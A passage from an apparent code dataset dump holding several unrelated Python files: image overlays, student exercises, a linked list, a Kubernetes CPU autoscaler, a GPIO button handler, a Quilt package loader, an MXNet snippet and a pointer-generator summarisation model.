r = np.where(X4,255,r)\n g = np.where(~X4,g,0)\n b = np.where(X4,255,b)\n if X5 is not None: # yellow 1 1 0\n if (X5.dtype != np.bool):\n raise Exception('X5 must be binary overlay')\n r = np.where(X5,255,r)\n g = np.where(X5,255,g)\n b = np.where(~X5,b,0)\n if X6 is not None: # cyan 0 1 1\n if (X6.dtype != np.bool):\n raise Exception('X6 must be binary overlay')\n r = np.where(~X6,r,0)\n g = np.where(X6,255,g)\n b = np.where(X6,255,b)\n \n return np.array([r,g,b])\n\n\n# ## Description\n\n# Creates a RGB image from the input grayscale image f, overlayed by optional binary planes, each one with a different color. This function is useful to display results of segmentation or when one wants to highlight a particular region of the image.\n\n# ## Examples\n\n# In[1]:\n\ntesting = (__name__ == \"__main__\")\nif testing:\n get_ipython().system(' jupyter nbconvert --to python gshow.ipynb')\n import numpy as np\n import sys,os\n ea979path = os.path.abspath('../../')\n if ea979path not in sys.path:\n sys.path.append(ea979path)\n import ea979.src as ia\n \n import matplotlib.image as mpimg\n\n\n# ### Numerical example\n\n# In[2]:\n\nif testing:\n f = np.arange(25).reshape(5,5)\n\n print('f: \\n',f)\n print('\\nf>20: \\n',f>20)\n\n print('\\ngshow(f,f>20) \\n',ia.gshow(f,f>20))\n\n\n# ### Image examples\n\n# In[3]:\n\nif testing:\n f = mpimg.imread('../data/cameraman.tif')\n\n g = ia.gshow(f, f>230)\n \n nb = ia.nbshow(2)\n nb.nbshow(f,'Original image')\n nb.nbshow(g,'Pixels with values above 230 are shown in red')\n nb.nbshow()\n\n\n# In[4]:\n\nif testing:\n f = ia.gaussian((256,256), np.transpose([[128,128]]), [[50*50,0],[0,80*80]])\n fn = ia.normalize(f, [0,255])\n \n f1 = ia.gshow(fn, fn > 20, fn > 30, fn > 40, fn > 50, fn > 60, fn > 70)\n \n nb = ia.nbshow(2)\n nb.nbshow(fn,'Original image')\n nb.nbshow(f1,'Overlaid image')\n nb.nbshow()\n\n\n# ## Reference\n\n# - [Function iagshow](http://adessowiki.fee.unicamp.br/adesso/wiki/ia636/iagshow/view/)\n\n# ## Contributions\n\n# - Tiago Dezotti, 1. sem 2017.\n\n# In[ ]:\n\n\n\n","sub_path":"src/gshow.py","file_name":"gshow.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"320028349","text":"# -*- coding: utf-8 -*-\nm = int(input('Digite a quantidade de termos n: '))\nn = []\n\ndef maiordegrau(m,n):\n for i in range(1,n+1,1):\n h = n - (n-1)\n if h<0:\n h = h*(-1)\n return(h)\n\nfor i in range(0,n,1):\n n.append(int(input('Digite um termo n: ')))\n \nprint(maiordegrau(5,4)) \n \n\n","sub_path":"moodledata/vpl_data/334/usersdata/300/94827/submittedfiles/listas.py","file_name":"listas.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"529602368","text":"class Node:\n def __init__ (self,data):\n self.data=data\n self.next=None\n\nclass LinkedList:\n def __init__(self):\n self.head=None\n\n\n def push(self, new_data):\n new_node = Node(new_data)\n new_node.next = self.head\n self.head = new_node\n\n\n # Deleting a node\n\n def deleteNode(self, key):\n\n #case1: deleting the head\n \n if self.head!=None:\n if self.head.data==key:\n self.head=self.head.next\n return \n \n # case2: deleting in middle\n else:\n n=self.head\n while(n.next==None or n.next.data!=key ):\n if n.next == None:\n return (print('Given key does not present'))\n n=n.next\n \n n.next=n.next.next\n\n # print function\n\n def printList(self):\n temp=self.head\n while(temp):\n print(temp.data,end='')\n temp=temp.next\n\n\n#driver code\n\nllist = LinkedList()\nllist.push(7)\nllist.push(1)\nllist.push(3)\nllist.push(2)\n \nprint (\"Created Linked List: \")\nllist.printList()\nllist.deleteNode(5)\nprint (\"\\nLinked List after Deletion of 1:\")\nllist.printList()\n\n\n\n \n \n","sub_path":"Linked List/Linked List Deletion.py","file_name":"Linked List Deletion.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"20803594","text":"#!/usr/bin/python3\nimport json\nimport sys\nimport urllib.request\nimport time\nimport numpy\nimport os\nimport signal\nimport configparser\nimport subprocess\nfrom datetime import datetime\n\ndata_file = \"/etc/autoscale/autoscale.conf\"\nscale_script = \"/opt/bin/autoscale/scale.sh\"\nMAX_VMS_LIMIT = 0\nMIN_VMS_LIMIT = 0\nMAX_GCE_VMS_LIMIT = 0\nMIN_GCE_VMS_LIMIT = 0\nMAX_CPU_LIMIT = 0\nMIN_CPU_LIMIT = 0\nCUR_NODES_COUNT = 0\nPOLLING_CLUSTER_PERIOD = 15\nNODES_OBJ = {}\nALL_NODES={} # { \"nodeIP\" { \"cpu\" : 40, \"auto\": True } }\nMAX_HYSTERESIS_COUNT = 6\nCUR_HYSTERESIS = { \"count\": 0, \"sample_type\": None } # { sample_type=\"scaleUp\" or \"scaleDown\" }\nUPDATED_NODES_LIST=[]\n\n# Parsing input parameters from autoscale.conf\ndef get_params():\n global MAX_VMS_LIMIT, MIN_VMS_LIMIT, MIN_GCE_VMS_LIMIT\n global MAX_GCE_VMS_LIMIT, MAX_CPU_LIMIT, MIN_CPU_LIMIT, MASTER\n configParser = configparser.ConfigParser()\n configParser.read(data_file)\n MASTER = configParser.get('DEFAULT', 'MASTER')\n MAX_VMS_LIMIT = int(configParser.get('DEFAULT', 'max_vms_limit'))\n MIN_VMS_LIMIT = int(configParser.get('DEFAULT', 'min_vms_limit'))\n MAX_CPU_LIMIT = int(configParser.get('DEFAULT', 'MAX_CPU_LIMIT'))\n MIN_CPU_LIMIT = int(configParser.get('DEFAULT', 'MIN_CPU_LIMIT'))\n try:\n MAX_GCE_VMS_LIMIT = int(configParser.get('GCE', 'gcp_minion_nodes'))\n except Exception as e:\n MAX_GCE_VMS_LIMIT = 0\n\n\ndef get_cpu_usage(node_ip):\n api = \"http://\"+node_ip+\":4194/api/v1.3/machine\"\n request = urllib.request.Request(api)\n response = urllib.request.urlopen(request)\n decode_response = (response.read().decode('utf-8'))\n string = str(decode_response)\n machine_info = json.loads(string)\n num_cores = machine_info[\"num_cores\"]\n\n api = \"http://\"+node_ip+\":4194/api/v1.3/containers/\"\n request = urllib.request.Request(api)\n response = urllib.request.urlopen(request)\n decode_response = (response.read().decode('utf-8'))\n string = str(decode_response)\n containers_info = json.loads(string)\n len_stats = len(containers_info[\"stats\"])\n len_stats = int(len_stats)\n cur_stats = len_stats - 1\n prev_stats = len_stats - 2\n cur_status = containers_info[\"stats\"][cur_stats]\n prev_status = containers_info[\"stats\"][prev_stats]\n cur_cpu_usage = cur_status[\"cpu\"][\"usage\"][\"total\"]\n cur_timestamp = cur_status[\"timestamp\"]\n prev_cpu_usage = prev_status[\"cpu\"][\"usage\"][\"total\"]\n prev_timestamp = prev_status[\"timestamp\"]\n cur_time = numpy.datetime64(cur_timestamp).astype(datetime)\n prev_time = numpy.datetime64(prev_timestamp).astype(datetime)\n raw_cpu_usage = cur_cpu_usage - prev_cpu_usage\n try:\n interval_ns = cur_time - prev_time\n except Exception as e:\n return False\n if interval_ns != 0:\n cpu_usage = raw_cpu_usage/interval_ns\n else:\n return False\n cpu_usage = cpu_usage/num_cores * 100\n cpu_usage = '%.f' % round(cpu_usage, 1)\n cpu_usage = int(cpu_usage)\n if (cpu_usage > 100):\n cpu_usage = 100\n return cpu_usage\n\n\n# retuns True, if cluster is ready.\ndef get_k8s_status():\n api = \"http://\"+MASTER+\":8080\"\n request = urllib.request.Request(api)\n try:\n response = urllib.request.urlopen(request)\n if response.status == 200:\n print(\"OK\")\n return True\n except Exception as e:\n print(\"not OK\")\n print(e)\n return False\n\n\ndef get_total_nodes():\n global NODES_OBJ,UPDATED_NODES_LIST\n api = \"http://\"+MASTER+\":8080/api/v1/nodes\"\n request = urllib.request.Request(api)\n response = urllib.request.urlopen(request)\n decode_response = (response.read().decode('utf-8'))\n string = str(decode_response)\n nodes_info = json.loads(string)\n NODES_OBJ = nodes_info\n try:\n number_minions = len(nodes_info[\"items\"])\n UPDATED_NODES_LIST=[]\n for i in range(0,number_minions):\n UPDATED_NODES_LIST.append(NODES_OBJ[\"items\"][i][\"metadata\"][\"name\"])\n return number_minions\n except Exception as e:\n return -1\n\ndef get_private_nodes(total):\n return total-get_gcp_nodes()\n\n\ndef get_gcp_nodes():\n if MAX_GCE_VMS_LIMIT == 0:\n return 0\n # gce_nodes=os.system(\"sudo ./gceIpManger.sh busy_count\")\n # print(gce_nodes)\n gceIpManager = \"/opt/bin/autoscale/gceIpManager.sh\"\n cmd = \"sudo bash \"+gceIpManager+\" busy_count\"\n output = subprocess.check_output(cmd, shell=True)\n return int(output)\n\n\ndef print_limits():\n print (\"Max VMs in Cluster: \", MAX_VMS_LIMIT)\n print (\"Min VMs in Cluster: \", MIN_VMS_LIMIT)\n print (\"Max GCE VMs Limit: \", MAX_GCE_VMS_LIMIT)\n print (\"Min GCE VMs Limit: \", MIN_GCE_VMS_LIMIT)\n print (\"Max CPU Usage Limit: \", MAX_CPU_LIMIT)\n print (\"Min CPU Usage Limit: \", MIN_CPU_LIMIT, \"\\n\")\n\n\ndef is_node_ready(minion):\n try:\n if NODES_OBJ[\"items\"][minion][\"status\"][\"conditions\"][0][\"status\"] != \\\n \"True\":\n return False\n except Exception as e:\n return False\n return True\n\ndef is_auto_created(minion):\n if \"type\" in NODES_OBJ[\"items\"][minion][\"metadata\"][\"labels\"]:\n if \"creationType\" in NODES_OBJ[\"items\"][minion][\"metadata\"][\"labels\"]:\n return True\n else:\n return False\n else:\n return True\n \n\n\ndef update_removed_nodes():\n removed_nodes=[]\n global UPDATED_NODES_LIST, ALL_NODES, CUR_HYSTERESIS\n for n in ALL_NODES:\n if n not in UPDATED_NODES_LIST:\n removed_nodes.append(n)\n for n in removed_nodes:\n del ALL_NODES[n]\n timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n print (timestamp + \" - \" + n + \" node removed from cluster\")\n CUR_HYSTERESIS[\"count\"] = 0\n\ndef scaleUpNodes():\n if (private_nodes < MAX_VMS_LIMIT):\n # Private Scale up\n print(\"Scaling up private\")\n os.system(scale_script + ' up')\n return True\n elif (get_gcp_nodes() < MAX_GCE_VMS_LIMIT):\n # GCE Scale UP\n print(\"private nodes limit has been reached\")\n print(\"Scaling up GCE\")\n os.system(scale_script + ' up gce')\n return True\n else:\n # Max reached\n print(\"Max nodes have been reached\")\n return False\n\n\ndef scaleDownNodes():\n if (get_gcp_nodes() > MIN_GCE_VMS_LIMIT):\n # GCE Scale Down\n gceIpManager = \"/opt/bin/autoscale/gceIpManager.sh\"\n cmd = \"sudo bash \"+gceIpManager+\" auto_busy_node\"\n output = subprocess.check_output(cmd, shell=True)\n output=output.decode(\"utf-8\")[:-1]\n if (output != \"0\"):\n print(\"GCE Scale Down\")\n os.system(scale_script + ' down gce')\n return True\n if (private_nodes > MIN_VMS_LIMIT):\n # Private Scale down\n print(\"Private Scale down\")\n os.system(scale_script + ' down')\n return True\n else:\n # Already Min\n # print(\"Min nodes have been reached\")\n return False\n\nget_params()\nprint(\"Waiting for Cluster\")\nwhile (get_k8s_status() is not True):\n time.sleep(1)\nprint(\"cluster is up\")\ntime.sleep(20)\nprint_limits()\n\nwhile 1:\n total_minions = get_total_nodes()\n if (total_minions == -1):\n time.sleep(3)\n continue\n minion = 0\n update_removed_nodes()\n while minion < total_minions:\n node_ip = NODES_OBJ[\"items\"][minion][\"metadata\"][\"name\"]\n \n if (is_node_ready(minion) is False):\n minion += 1\n time.sleep(3)\n continue\n # print(\"monitoring minion: \", node_ip)\n minion += 1\n\n cpu_usage = get_cpu_usage(node_ip)\n if(cpu_usage is False):\n time.sleep(3)\n continue\n if node_ip not in ALL_NODES:\n timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n print (timestamp + \" - \"+\"Started monitoring node \" + node_ip)\n CUR_HYSTERESIS[\"count\"] = 0\n time.sleep(POLLING_CLUSTER_PERIOD)\n if is_auto_created(minion-1):\n ALL_NODES[node_ip] = { \"cpu\": cpu_usage,\"auto\": True }\n else:\n ALL_NODES[node_ip] = { \"cpu\": cpu_usage,\"auto\": False }\n \n ALL_NODES[node_ip][\"cpu\"] = cpu_usage\n timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n print (timestamp + \" - CPU usage of \"+node_ip+\" :\", cpu_usage)\n time.sleep(2)\n\n private_nodes = get_private_nodes(total_minions)\n if not ALL_NODES:\n CUR_HYSTERESIS[\"count\"]=0\n time.sleep(POLLING_CLUSTER_PERIOD)\n continue\n AUTO_CREATED_NODES = dict((node,details) for node, details in ALL_NODES.items() if details[\"auto\"])\n if all(MAX_CPU_LIMIT > v['cpu'] > MIN_CPU_LIMIT for v in ALL_NODES.values()):\n # All nodes in within threshold level\n CUR_HYSTERESIS[\"count\"] = 0\n time.sleep(POLLING_CLUSTER_PERIOD)\n continue\n elif any(v['cpu'] < MIN_CPU_LIMIT for v in ALL_NODES.values()) and \\\n any(v['cpu'] > MAX_CPU_LIMIT for v in ALL_NODES.values()):\n # Some nodes are above max and below min threshold\n CUR_HYSTERESIS[\"count\"] = 0\n time.sleep(POLLING_CLUSTER_PERIOD)\n continue\n elif any(v['cpu'] > MAX_CPU_LIMIT for v in ALL_NODES.values()):\n if CUR_HYSTERESIS[\"sample_type\"] != \"scaleUp\":\n CUR_HYSTERESIS[\"sample_type\"] = \"scaleUp\"\n CUR_HYSTERESIS[\"count\"] = 1\n elif CUR_HYSTERESIS[\"count\"] == MAX_HYSTERESIS_COUNT:\n if scaleUpNodes():\n CUR_HYSTERESIS[\"count\"] = 0\n else:\n CUR_HYSTERESIS[\"count\"] = CUR_HYSTERESIS[\"count\"] + 1\n elif any(v['cpu'] < MIN_CPU_LIMIT for v in AUTO_CREATED_NODES.values()):\n if CUR_HYSTERESIS[\"sample_type\"] != \"scaleDown\":\n CUR_HYSTERESIS[\"sample_type\"] = \"scaleDown\"\n CUR_HYSTERESIS[\"count\"] = 1\n elif CUR_HYSTERESIS[\"count\"] == MAX_HYSTERESIS_COUNT:\n if scaleDownNodes():\n CUR_HYSTERESIS[\"count\"] = 0\n else:\n CUR_HYSTERESIS[\"count\"] = CUR_HYSTERESIS[\"count\"] + 1\n time.sleep(POLLING_CLUSTER_PERIOD)\n","sub_path":"Docker/Kubernetes/KubernetesCluster/package/Resources/scripts/auto_scale/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":10071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"603115527","text":"import RPi.GPIO as GPIO\nimport time\nimport sys\nimport struct\nimport os\n\ndef single_click():\n\tprint(\"single\")\n\tos.system(\"/home/pi/room/event_read/bin/button1.sh\")\n\ndef double_click():\n\tprint(\"double\")\n\tos.system(\"/home/pi/room/event_read/bin/button0.sh\")\n\nif __name__ == '__main__':\n\tgpio_pin = int(sys.argv[1])\n\n\tGPIO.setmode(GPIO.BCM)\n\tGPIO.setup(gpio_pin,GPIO.IN)\n\n\tflag_checking = False\n\tlast_checking = time.time()\n\tlast_state = False\n\ttry:\n\t\twhile True:\n\t\t\tt = time.time()\n\t\t\tstate = GPIO.input(gpio_pin) == GPIO.HIGH\n\t\t\tif flag_checking == False:\n\t\t\t\tif last_state == True and state == False:\n\t\t\t\t\tflag_checking = True\n\t\t\t\t\tlast_checking = t\n\t\t\telse:\n\t\t\t\tif t - last_checking > 1:\n\t\t\t\t\t#timeout\n\t\t\t\t\tflag_checking = False\n\t\t\t\t\tlast_state = False\n\t\t\t\t\tsingle_click()\n\n\t\t\t\tif last_state == True and state == False:\n\t\t\t\t\tflag_checking = False\n\t\t\t\t\tlast_state = False\n\t\t\t\t\tdouble_click()\n\t\t\tlast_state = state\n\t\t\ttime.sleep(0.01)\n\texcept KeyboardInterrupt:\n\t\tGPIO.cleanup()\n","sub_path":"gpio_button.py","file_name":"gpio_button.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"601601045","text":"#!/usr/bin/env python3\n\nimport argparse\nfrom lxml import etree\nimport unicodedata as ud \n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('phoneset', type = argparse.FileType('rb'))\nargs = parser.parse_args()\n\nphonset_xml = etree.parse(args.phoneset)\nfor phone in phonset_xml.xpath('//phone'):\n name = phone.get('name')\n if name == '_':\n continue\n desc = phone.find('description')\n ipa = ud.normalize('NFD', desc.get('ipa'))\n ipa_num = ''.join([f'{ord(c):04X}' for c in ipa])\n print(f\"{name}\\t{ipa}\\t{ipa_num}\")","sub_path":"idlak-misc/tools/print_ipa_unicode.py","file_name":"print_ipa_unicode.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"392325643","text":"\"\"\"\nMagic module that maps its submodules to Quilt tables.\n\nSubmodules have the following format: quilt.data.$user.$package.$table\n\nE.g.:\n import quilt.data.$user.$package as $package\n print $package.$table\nor\n from quilt.data.$user.$package import $table\n print $table\n\nThe corresponding data is looked up in `quilt_modules/$user/$package.json`\nin ancestors of the current directory.\n\"\"\"\n\nimport imp\nimport os.path\nimport sys\n\nfrom six import iteritems\n\nfrom .nodes import DataNode, GroupNode, PackageNode\nfrom .tools import core\nfrom .tools.store import PackageStore\n\n\n__path__ = [] # Required for submodules to work\n\n\nclass FakeLoader(object):\n \"\"\"\n Fake module loader used to create intermediate user and package modules.\n \"\"\"\n def __init__(self, path):\n self._path = path\n\n def load_module(self, fullname):\n \"\"\"\n Returns an empty module.\n \"\"\"\n mod = sys.modules.setdefault(fullname, imp.new_module(fullname))\n mod.__file__ = self._path\n mod.__loader__ = self\n mod.__path__ = []\n mod.__package__ = fullname\n return mod\n\n\ndef _from_core_node(package, core_node):\n if isinstance(core_node, core.TableNode) or isinstance(core_node, core.FileNode):\n node = DataNode(package, core_node)\n else:\n if isinstance(core_node, core.RootNode):\n node = PackageNode(package, core_node)\n elif isinstance(core_node, core.GroupNode):\n node = GroupNode(package, core_node)\n else:\n assert \"Unexpected node: %r\" % core_node\n\n for name, core_child in iteritems(core_node.children):\n child = _from_core_node(package, core_child)\n setattr(node, name, child)\n\n return node\n\n\nclass PackageLoader(object):\n \"\"\"\n Module loader for Quilt tables.\n \"\"\"\n def __init__(self, path, package):\n self._path = path\n self._package = package\n\n def load_module(self, fullname):\n \"\"\"\n Returns an object that lazily looks up tables and groups.\n \"\"\"\n mod = sys.modules.get(fullname)\n if mod is not None:\n return mod\n\n # We're creating an object rather than a module. It's a hack, but it's approved by Guido:\n # https://mail.python.org/pipermail/python-ideas/2012-May/014969.html\n\n mod = _from_core_node(self._package, self._package.get_contents())\n sys.modules[fullname] = mod\n return mod\n\n\nclass ModuleFinder(object):\n \"\"\"\n Looks up submodules.\n \"\"\"\n @staticmethod\n def find_module(fullname, path=None):\n \"\"\"\n Looks up the table based on the module path.\n \"\"\"\n if not fullname.startswith(__name__ + '.'):\n # Not a quilt submodule.\n return None\n\n submodule = fullname[len(__name__) + 1:]\n parts = submodule.split('.')\n\n if len(parts) == 1:\n for store_dir in PackageStore.find_store_dirs():\n store = PackageStore(store_dir)\n # find contents\n file_path = store.user_path(parts[0])\n if os.path.isdir(file_path):\n return FakeLoader(file_path)\n else:\n raise ImportError('Could not find any installed packages by user {user!r}.\\n '\n 'Check the name, or use \"quilt install {user}/\" to install'\n .format(user=parts[0]))\n elif len(parts) == 2:\n user, package = parts\n pkgobj = PackageStore.find_package(user, package)\n if pkgobj:\n file_path = pkgobj.get_path()\n return PackageLoader(file_path, pkgobj)\n else:\n raise ImportError('Could not find package by user {user!r} named {package!r}.\\n '\n 'Check the name, or use \"quilt install {user}/{package}\" to install'\n .format(**locals()))\n\n return None\n\nsys.meta_path.append(ModuleFinder)\n","sub_path":"compiler/quilt/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"406702484","text":"def step1():\n user_input = []\n print(f'I will be asking you for 3 numbers')\n \n for i in range(3):\n num = int(input(f'Give me a number: '))\n user_input.append(num)\n\n input_max = max(num for num in user_input)\n input_min = min(num for num in user_input)\n\n print(f'Your Numbers are: {user_input}. Calculating the max. ')\n print(f'The Max from the numbers given is {input_max}')\n print(f'The Min from the numbers given is {input_min}')\n\nstep1()","sub_path":"week5/function/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"453285782","text":"def init_params(self, initializer=Uniform(0.01), arg_params=None, aux_params=None, allow_missing=False, force_init=False):\n 'Initialize parameters.\\n\\n Parameters\\n ----------\\n initializer : Initializer\\n arg_params : dict\\n Default `None`. Existing parameters. This has higher priority than `initializer`.\\n aux_params : dict\\n Default `None`. Existing auxiliary states. This has higher priority than `initializer`.\\n allow_missing : bool\\n Allow missing values in `arg_params` and `aux_params` (if not `None`). In this case,\\n missing values will be filled with `initializer`.\\n force_init : bool\\n Default `False`.\\n '\n if (self.params_initialized and (not force_init)):\n return\n assert self.binded, 'call bind before initializing the parameters'\n for module in self._modules:\n module.init_params(initializer=initializer, arg_params=arg_params, aux_params=aux_params, allow_missing=allow_missing, force_init=force_init)\n\n def _check_name(known_names, new_names, modules, i):\n 'Internal function to help checking duplicated names.'\n for name in new_names:\n assert (not known_names.has_key(name)), (('Duplicated parameter names: ' + ('name \"%s\" in layer %d (%s) is already ' % (name, i, type(modules[i])))) + ('used in layer %d (%s).' % (known_names[name], type(modules[known_names[name]]))))\n known_names[name] = i\n arg_names = dict()\n aux_names = dict()\n for (i_layer, module) in enumerate(self._modules):\n (arg_params, aux_params) = module.get_params()\n _check_name(arg_names, arg_params.iterkeys(), self._modules, i_layer)\n _check_name(aux_names, aux_params.iterkeys(), self._modules, i_layer)\n self.params_initialized = True","sub_path":"Data Set/bug-fixing-4/23f7e39158715d89381e26725f81bf1730ee5a15--bug.py","file_name":"23f7e39158715d89381e26725f81bf1730ee5a15--bug.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"300794290","text":"from __future__ import unicode_literals, print_function, division\n\nimport random\nimport time\n\n#import utils as utils\n#from utils import *\n#from pointer_gen import *\nimport PointerGenerator.utils as utils\nfrom PointerGenerator.utils import *\nfrom PointerGenerator.pointer_gen import *\n\n\nclass PGModel():\n def __init__(self, config, vocab, use_cuda):\n self.use_cuda = use_cuda\n self.config = config\n self.vocab = vocab\n\n self.encoder = EncoderRNN(self.vocab.vocab_size, config['embedding_size'], hidden_size=config['hidden_size'])\n self.emb_w = self.encoder.embedding.weight # use weight sharing?\n\n if config['model_type'] == 'TemporalAttn':\n self.decoder = TemporalAttnDecoderRNN(config['hidden_size'], config['embedding_size'],\n self.vocab.vocab_size, 1, dropout_p=0.1, embedding_weight=None)\n else:\n self.decoder = CoverageAttnDecoderRNN(config['hidden_size'], config['embedding_size'],\n self.vocab.vocab_size, 1, dropout_p=0.1,\n input_lenght=config['input_length'], embedding_weight=None, use_conv=True)\n if use_cuda:\n self.encoder.cuda()\n self.decoder.cuda()\n\n self.encoder_optimizer = None\n self.decoder_optimizer = None\n self.criterion = None\n self.logger = None\n print(\"Model compiled\")\n\n\n def save_model(self, path, id, epoch, loss):\n data = {\n 'epoch': epoch + 1,\n 'best_prec1': loss,\n 'vocab': self.vocab,\n 'config': self.config,\n 'logger': self.logger,\n 'encoder': self.encoder.state_dict(), 'decoder': self.decoder.state_dict(),\n 'encoder_optm': self.encoder_optimizer.state_dict(),'decoder_optm': self.decoder_optimizer.state_dict()\n }\n filename= path + \"checkpoint_\" + id + \"_ep@\"+str(epoch)+\"_loss@\"+str(round(loss, 3))+\".pickle\"\n torch.save(data, filename)\n\n def load_model(self, file_path, file_name):\n data = torch.load(file_path + file_name)\n self.encoder.load_state_dict(data['encoder'])\n self.decoder.load_state_dict(data['decoder'])\n self.vocab = data['vocab']\n\n\n def train(self, data, val_data, nb_epochs, batch_size, optimizer, lr, tf_ratio, stop_criterion, use_cuda, print_evry):\n\n if self.logger is None:\n self.encoder_optimizer = optimizer(self.encoder.parameters(), lr= lr, weight_decay=0.0000001)\n self.decoder_optimizer = optimizer(self.decoder.parameters(), lr= lr, weight_decay=0.0000001)\n self.criterion = nn.NLLLoss()\n self.logger = TrainingLogger(nb_epochs, batch_size, len(data), len(val_data))\n print(\"Optimizers compiled\")\n\n for epoch in range(len(self.logger.log), nb_epochs):\n self.logger.init_epoch(epoch)\n batches = utils.sort_and_shuffle_data(data, nb_buckets=100, batch_size=batch_size, rnd=True)\n for b in range(len(batches)):\n loss, _time = self.train_batch(samples=batches[b], use_cuda=self.use_cuda)\n self.logger.add_iteration(b+1, loss, _time)\n if b % print_evry == 0:\n preds = self.predict([data[b*batch_size]], self.config['target_length'], False, self.use_cuda)\n print('\\n', \" \".join([t[0]['word'] for t in preds]))\n preds_beam = self.predict([data[b*batch_size]], self.config['target_length'], 5, self.use_cuda)\n print('\\n', \"beam:\", preds_beam[0][0])\n\n for b in range(int(len(val_data)/batch_size)):\n try:\n loss, _time = self.train_batch(val_data[b*batch_size:(b+1)*batch_size], self.use_cuda, backprop=False)\n self.logger.add_val_iteration(b+1, loss, _time)\n except:\n print(\"\\n\", \"Error during validation!\")\n\n if epoch == 0 or self.logger.log[epoch][\"val_loss\"] < self.logger.log[epoch-1][\"val_loss\"]:\n self.save_model(self.config['model_path'], self.config['model_id'],\n epoch=epoch, loss=self.logger.log[epoch][\"val_loss\"])\n\n\n def train_batch(self, samples, use_cuda, tf_ratio=0.5, backprop=True, coverage_lambda=-1):\n start = time.time()\n if len(samples) == 0: return 0, 0\n\n target_length = min(self.config['target_length'], max([len(pair.masked_target_tokens) for pair in samples]))\n nb_unks = max([len(s.unknown_tokens) for s in samples])\n input_variable, full_input_variable, target_variable, full_target_variable, decoder_input = \\\n utils.get_batch_variables(samples, self.config['input_length'], target_length, use_cuda,\n self.vocab.word2index['SOS'])\n\n encoder_hidden = self.encoder.init_hidden(len(samples), use_cuda)\n self.encoder_optimizer.zero_grad()\n self.decoder_optimizer.zero_grad()\n loss = 0\n\n encoder_outputs, encoder_hidden = self.encoder(input_variable, encoder_hidden)\n decoder_hidden = torch.cat((encoder_hidden[0], encoder_hidden[1]), -1)\n decoder_hidden_states = torch.cat((encoder_hidden[0], encoder_hidden[1]), -1).unsqueeze(1)\n previous_att = None\n\n for token_i in range(target_length):\n p_final, p_gen, p_vocab, att_dist, decoder_h_states, decoder_hidden, previous_att = \\\n self.decoder(decoder_input, decoder_hidden_states, decoder_hidden, encoder_outputs,\n full_input_variable, previous_att, nb_unks, use_cuda)\n\n if coverage_lambda < 0 or token_i == 0:\n loss += self.criterion(torch.log(p_final.clamp(min=1e-8)), full_target_variable.narrow(1, token_i, 1)\n .squeeze(-1))\n else:\n coverage = previous_att.narrow(1, 0, previous_att.size()[1]-1).sum(dim=1)\n coverage_min, _ = torch.cat((att_dist.unsqueeze(1), coverage.unsqueeze(1)), dim=1).min(dim=1)\n coverage_loss = coverage_min.sum(-1)\n loss += self.criterion(torch.log(p_final.clamp(min=1e-8)), full_target_variable.narrow(1, token_i, 1).squeeze(-1))\\\n + (coverage_lambda * coverage_loss) # this needs to be fixed\n\n if random.uniform(0, 1) < tf_ratio: decoder_input = target_variable.narrow(1, token_i, 1)\n else:\n _, max_tokens = p_final.max(1)\n for i in range(max_tokens.size()[0]):\n if max_tokens.data[i] >= self.vocab.vocab_size: max_tokens.data[i] = self.vocab.word2index['UNK']\n decoder_input = max_tokens.unsqueeze(1)\n\n if backprop:\n loss.backward()\n torch.nn.utils.clip_grad_norm(self.encoder.parameters(), 2)\n torch.nn.utils.clip_grad_norm(self.decoder.parameters(), 2)\n self.encoder_optimizer.step()\n self.decoder_optimizer.step()\n '''\n print(\" \", [[t for t in pair.full_target_tokens if t not in pair.full_source_tokens and t >= self.vocab.vocab_size]\n for pair in samples])\n '''\n return loss.data[0] / target_length, time.time() - start\n\n\n\n def predict(self, samples, target_length, beam_size, use_cuda): # this only works with one sample at a time\n nb_unks = max([len(s.unknown_tokens) for s in samples])\n input_variable, full_input_variable, target_variable, full_target_variable, decoder_input = \\\n utils.get_batch_variables(samples, self.config['input_length'], target_length, use_cuda,\n self.vocab.word2index['SOS'])\n encoder_hidden = self.encoder.init_hidden(len(samples), use_cuda)\n encoder_outputs, encoder_hidden = self.encoder(input_variable, encoder_hidden)\n decoder_hidden = torch.cat((encoder_hidden[0], encoder_hidden[1]), -1)\n decoder_h_states = torch.cat((encoder_hidden[0], encoder_hidden[1]), -1).unsqueeze(1)\n previous_att = None\n\n if not beam_size:\n result = []\n for token_i in range(target_length):\n\n p_final, p_gen, p_vocab, att_dist, decoder_h_states, decoder_hidden, previous_att = \\\n self.decoder(decoder_input, decoder_h_states, decoder_hidden,\n encoder_outputs, full_input_variable, previous_att, nb_unks, use_cuda)\n\n p_vocab_word, vocab_word_idx = p_final.max(1)\n result.append([{'token_idx': vocab_word_idx.data[i],\n 'word': utils.translate_word(vocab_word_idx.data[i], samples[i], self.vocab),\n 'p_gen': round(p_gen.data[i][0], 3)}\n for i in range(len(samples))])\n _, max_tokens = p_final.max(1)\n for i in range(max_tokens.size()[0]):\n if max_tokens.data[i] >= self.vocab.vocab_size: max_tokens.data[i] = self.vocab.word2index['UNK']\n decoder_input = max_tokens.unsqueeze(1)\n\n return 